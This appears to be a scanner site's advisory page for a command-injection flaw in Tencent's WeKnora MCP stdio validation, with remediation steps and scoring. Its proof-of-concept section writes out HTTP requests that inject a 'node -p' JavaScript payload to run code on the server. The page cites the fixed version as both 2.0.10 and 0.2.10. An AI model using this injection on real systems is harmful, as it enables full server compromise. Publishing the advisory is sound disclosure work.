CVE-2026-30861 — Vulnerability in github.com/Tencent/WeKnora
WeKnora has Remote Code Execution (RCE) via Command Injection in MCP Stdio Configuration Validation
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (2.86%). Schedule for your next planned update.
Does your project use an affected github.com/Tencent/WeKnora version?
Paste your go.sum to check it for CVE-2026-30861 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5.
The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the -p flag with npx node. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise.
The vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.
Details
The application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can:
- Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned)
- Obtain API authentication credentials
- Exploit the command injection vulnerability to execute arbitrary code
The security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through:
- Command Whitelist: Only
uvxandnpxare allowed - Argument Blacklist: Blocks dangerous patterns including shells, command chaining, and path traversal
- Environment Variable Blacklist: Restricts sensitive variables like
LD_PRELOAD,PATH, etc.
However, the patch has a critical flaw: the -p flag in npx node is not explicitly blocked in the DangerousArgPatterns regex list. The -p flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.
The vulnerable code flow:
ValidateStdioConfig()callsValidateStdioArgs(args)ValidateStdioArgs()checks each argument againstDangerousArgPatterns- The pattern list does not include
-por similar execution flags - Arguments like
["node", "-p", "require('fs').writeFileSync(...)"]pass validation - When executed,
npx node -p <payload>executes the JavaScript payload
Timeline of Concern:
- Version 2.0.5: Initial patch introducing validation (incomplete/bypassable)
- Versions 2.0.6-2.0.9: Vulnerability persists with no public notification
- Version 2.0.10 (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely.
- Issue: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability
This silent fix pattern poses significant risks:
- Customers may not know to update immediately
- Security scanning tools may not flag the vulnerability without a published CVE
- Organisations relying on vendor advisories have no record of the issue
- There is no documented attack history or mitigation guidance for affected versions
PoC
Step 1: Register a new account (unauthenticated)
Step 2: Create a malicious MCP service
POST /api/v1/mcp-services HTTP/1.1
Host: localhost:8080
Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]
Content-Type: application/json
{
"name":"rce",
"description":"rce",
"enabled":true,
"transport_type":"stdio",
"stdio_config":{
"command":"npx",
"args":["node","-p","require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')"]
},
"env_vars":{}
}
Response will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)
Step 3: Trigger the RCE by testing the service
POST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1
Host: localhost:8080
Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]
Content-Type: application/json
{}
Step 4: Verify exploitation
On the server, the file /tmp/pwned.txt will be created with content "Hacked by attacker", confirming arbitrary command execution.
Impact
Severity: Critical
Unauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.
- Full data breach and system compromise
- Install malware, backdoors, ransomware
- Lateral movement to internal systems
- Versions 2.0.5-2.0.9 vulnerable without notification
Immediate Actions:
- Upgrade to 2.0.10+ immediately
- Review logs for exploitation since 2.0.5
- Check for suspicious MCP configurations
- Monitor for unauthorized file creation
- Assume breach if compromise suspected
Advisory Timeline
- First published March 7, 2026 (264 days ago).
- Last revised March 23, 2026 — 16 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get github.com/Tencent/WeKnora@v0.2.10
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/Tencent/WeKnora Go · Affected: All versions | 0.2.10 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-78OS Command InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
Frequently Asked Questions
- What is CVE-2026-30861?
- WeKnora has Remote Code Execution (RCE) via Command Injection in MCP Stdio Configuration Validation. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
- How do I check if my project is affected by CVE-2026-30861?
- CVE-2026-30861 affects github.com/Tencent/WeKnora. It has a 2.9% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-30861 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This places it in the top quartile of EPSS-scored vulnerabilities — 87.5% of tracked vulnerabilities score at or below it, so it is more likely to be exploited than most of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-104099CRITICAL
Fabio: Access-control bypass through unnormalized request paths
- CVE-2026-22688CRITICAL
WeKnora has Command Injection in MCP stdio test
- CVE-2026-30860CRITICAL
WeKnora Vulnerable to Remote Code Execution via SQL Injection Bypass in AI Database Query Tool
- CVE-2026-30855CRITICAL
WeKnora Vulnerable to Broken Access Control in Tenant Management
- CVE-2026-77369CRITICAL
Daptin: Broken Access Control (IDOR) in the generic YJS collaboration endpoint